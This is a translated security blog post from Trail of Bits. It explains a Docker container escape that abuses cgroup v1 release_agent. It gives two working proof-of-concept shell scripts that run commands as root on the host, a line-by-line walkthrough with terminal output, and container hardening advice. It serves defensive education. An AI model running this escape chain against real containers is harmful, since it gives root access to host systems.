深入解析Docker容器逃逸漏洞:cgroup权限滥用与防御实践

本文详细分析了Docker容器逃逸漏洞的技术原理,通过cgroup v1的notify_on_release特性实现主机命令执行,探讨了SYS_ADMIN权限和AppArmor配置的安全影响,并提供了容器安全加固的具体建议。

理解Docker容器逃逸 - Trail of Bits博客

Dominik ‘disconnect3d’ Czarnota
2019年7月19日
容器, 漏洞利用, kubernetes

Trail of Bits最近完成了对Kubernetes的安全评估,包括其与Docker的交互。Felix Wilhelm最近在推特上发布的概念验证(PoC)“容器逃逸”引起了我们的兴趣,因为我们进行了类似的研究,并好奇这个PoC如何影响Kubernetes。

Felix的推文展示了一个漏洞利用,该漏洞从使用--privileged标志运行的Docker容器内部在主机上启动进程。PoC通过滥用Linux cgroup v1的“release通知”功能实现这一点。

以下是启动主机上ps命令的PoC版本:

1
2
3
4
5
6
7
8
# 通过以下命令生成新容器进行利用:
# docker run --rm -it --privileged ubuntu bash

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;printf '#!/bin/sh\nps >'"$t/o" >/c;
chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

--privileged标志引入了严重的安全问题,该漏洞利用依赖于启用此标志启动docker容器。使用此标志时,容器具有对所有设备的完全访问权限,并且缺乏seccomp、AppArmor和Linux capabilities的限制。

–privileged …
— Ike Broflovski (@steaIth) 2019年7月18日

不要使用--privileged运行容器。Docker包含独立控制容器权限的细粒度设置。根据我们的经验,这些关键安全设置经常被遗忘。有必要了解这些选项的工作原理以保护容器安全。

在以下部分中,我们将逐步介绍这种“容器逃逸”的工作原理、它所依赖的不安全设置以及开发人员应该采取的措施。

使用此技术的需求

实际上,--privileged提供的权限远远超过通过此方法逃逸docker容器所需的权限。实际上,“唯一”的要求是:

  • 我们必须在容器内以root身份运行
  • 容器必须使用SYS_ADMIN Linux capability运行
  • 容器必须缺少AppArmor配置文件,或者允许mount系统调用
  • cgroup v1虚拟文件系统必须在容器内以读写方式挂载

SYS_ADMIN capability允许容器执行mount系统调用(参见man 7 capabilities)。Docker默认以受限的capabilities集合启动容器,并且由于安全风险而不启用SYS_ADMIN capability。

此外,Docker默认使用docker-default AppArmor策略启动容器,即使容器使用SYS_ADMIN运行,该策略也会阻止使用mount系统调用。

如果使用以下标志运行,容器将容易受到此技术的影响:--security-opt apparmor=unconfined --cap-add=SYS_ADMIN

使用cgroups传递漏洞利用

Linux cgroups是Docker隔离容器的机制之一。PoC滥用cgroups v1中notify_on_release功能的功能,以完全特权的root用户身份运行漏洞利用。

当cgroup中的最后一个任务离开(通过退出或附加到另一个cgroup)时,将执行release_agent文件中提供的命令。此功能的预期用途是帮助清理废弃的cgroup。此命令在调用时在主机上以完全特权的root身份运行。

1.4 notify_on_release做什么?
————————————
如果在cgroup中启用了notify_on_release标志(1),那么当cgroup中的最后一个任务离开(退出或附加到其他cgroup)并且该cgroup的最后一个子cgroup被移除时,内核将运行由该层次结构根目录中“release_agent”文件内容指定的命令,提供废弃cgroup的路径名(相对于cgroup文件系统的挂载点)。这使得能够自动移除废弃的cgroup。系统启动时根cgroup中notify_on_release的默认值为禁用(0)。创建时其他cgroups的默认值是其父节点notify_on_release设置的当前值。cgroup层次结构的release_agent路径的默认值为空。
– Linux内核关于cgroups v1的文档

改进概念验证

有一种更简单的方法来编写此漏洞利用,使其在没有--privileged标志的情况下工作。在这种情况下,我们将无法访问由--privileged提供的读写cgroup挂载。适应这种情况很容易:我们将自己以读写方式挂载cgroup。这为漏洞利用添加了一行额外的代码,但需要更少的权限。

以下漏洞利用将在主机上执行ps aux命令并将其输出保存到容器中的/output文件。它使用与原始PoC相同的release_agent功能在主机上执行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# 在主机上
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# 在容器中
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

分解概念验证

现在我们了解了使用此技术的需求并改进了概念验证漏洞利用,让我们逐行讲解以演示其工作原理。

要触发此漏洞利用,我们需要一个cgroup,在其中可以创建release_agent文件并通过杀死cgroup中的所有进程来触发release_agent调用。最简单的方法是挂载cgroup控制器并创建子cgroup。

为此,我们创建/tmp/cgrp目录,挂载RDMA cgroup控制器并创建子cgroup(在此示例中命名为“x”)。虽然尚未测试每个cgroup控制器,但此技术应与大多数cgroup控制器一起工作。

如果您在操作时遇到“mount: /tmp/cgrp: special device cgroup does not exist”,这是因为您的设置没有RDMA cgroup控制器。将rdma更改为memory以修复它。我们使用RDMA是因为原始PoC仅设计用于它。

请注意,cgroup控制器是全局资源,可以以不同的权限多次挂载,并且在一个挂载中所做的更改将应用于另一个挂载。

我们可以在下面看到“x”子cgroup的创建及其目录列表。

1
2
3
4
5
root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
root@b11cf9eab4fd:/# ls /tmp/cgrp/
cgroup.clone_children  cgroup.procs  cgroup.sane_behavior  notify_on_release  release_agent  tasks  x
root@b11cf9eab4fd:/# ls /tmp/cgrp/x
cgroup.clone_children  cgroup.procs  notify_on_release  rdma.current  rdma.max  tasks

接下来,我们通过将1写入其notify_on_release文件来启用“x”cgroup释放时的cgroup通知。我们还设置RDMA cgroup release agent以执行/cmd脚本——我们稍后将在容器中创建——通过将主机上的/cmd脚本路径写入release_agent文件。为此,我们将从/etc/mtab文件中获取容器在主机上的路径。

我们在容器中添加或修改的文件存在于主机上,并且可以从两个世界修改它们:容器中的路径和它们在主机上的路径。

这些操作可以在下面看到:

1
2
3
root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent

注意/cmd脚本的路径,我们将在主机上创建它:

1
2
root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd

现在,我们创建/cmd脚本,使其执行ps aux命令并将其输出保存到容器中的/output,通过指定主机上输出文件的完整路径。最后,我们还打印/cmd脚本以查看其内容:

1
2
3
4
5
6
root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
root@b11cf9eab4fd:/# chmod a+x /cmd
root@b11cf9eab4fd:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output

最后,我们可以通过在“x”子cgroup内部生成一个立即结束的进程来执行攻击。通过创建/bin/sh进程并将其PID写入“x”子cgroup目录中的cgroup.procs文件,主机上的脚本将在/bin/sh退出后执行。然后在主机上执行的ps aux的输出保存到容器内的/output文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@b11cf9eab4fd:/# head /output
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.1  1.0  17564 10288 ?        Ss   13:57   0:01 /sbin/init
root         2  0.0  0.0      0     0 ?        S    13:57   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_gp]
root         4  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_par_gp]
root         6  0.0  0.0      0     0 ?        I<   13:57   0:00 [kworker/0:0H-kblockd]
root         8  0.0  0.0      0     0 ?        I<   13:57   0:00 [mm_percpu_wq]
root         9  0.0  0.0      0     0 ?        S    13:57   0:00 [ksoftirqd/0]
root        10  0.0  0.0      0     0 ?        I    13:57   0:00 [rcu_sched]
root        11  0.0  0.0      0     0 ?        S    13:57   0:00 [migration/0]

安全使用容器

Docker默认限制和约束容器。放宽这些限制可能会产生安全问题,即使没有--privileged标志的全部功能。重要的是要承认每个额外权限的影响,并将整体权限限制到所需的最小限度。

为了帮助保持容器安全:

  • 不要使用--privileged标志或在容器内挂载Docker套接字。docker套接字允许生成容器,因此这是完全控制主机的简单方法,例如,通过使用--privileged标志运行另一个容器。
  • 不要在容器内以root身份运行。使用不同的用户或用户命名空间。容器中的root与主机上的root相同,除非使用用户命名空间重新映射。它仅受到Linux命名空间、capabilities和cgroups的轻度限制。
  • 丢弃所有capabilities(--cap-drop=all)并仅启用那些必需的(--cap-add=...)。许多工作负载不需要任何capabilities,添加它们会增加潜在攻击的范围。
  • 使用“no-new-privileges”安全选项以防止进程获得更多权限,例如通过suid二进制文件。
  • 限制容器可用的资源。资源限制可以保护机器免受拒绝服务攻击。
  • 调整seccomp、AppArmor(或SELinux)配置文件,将容器可用的操作和系统调用限制到所需的最小限度。
  • 使用官方docker镜像或基于它们构建自己的镜像。不要继承或使用后门镜像。
  • 定期重建镜像以应用安全补丁。这不言而喻。

如果您希望重新审视组织的关键基础设施,Trail of Bits很乐意提供帮助。联系我们并打个招呼!

如果您喜欢这篇文章,请分享:
Twitter LinkedIn GitHub Mastodon Hacker News

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计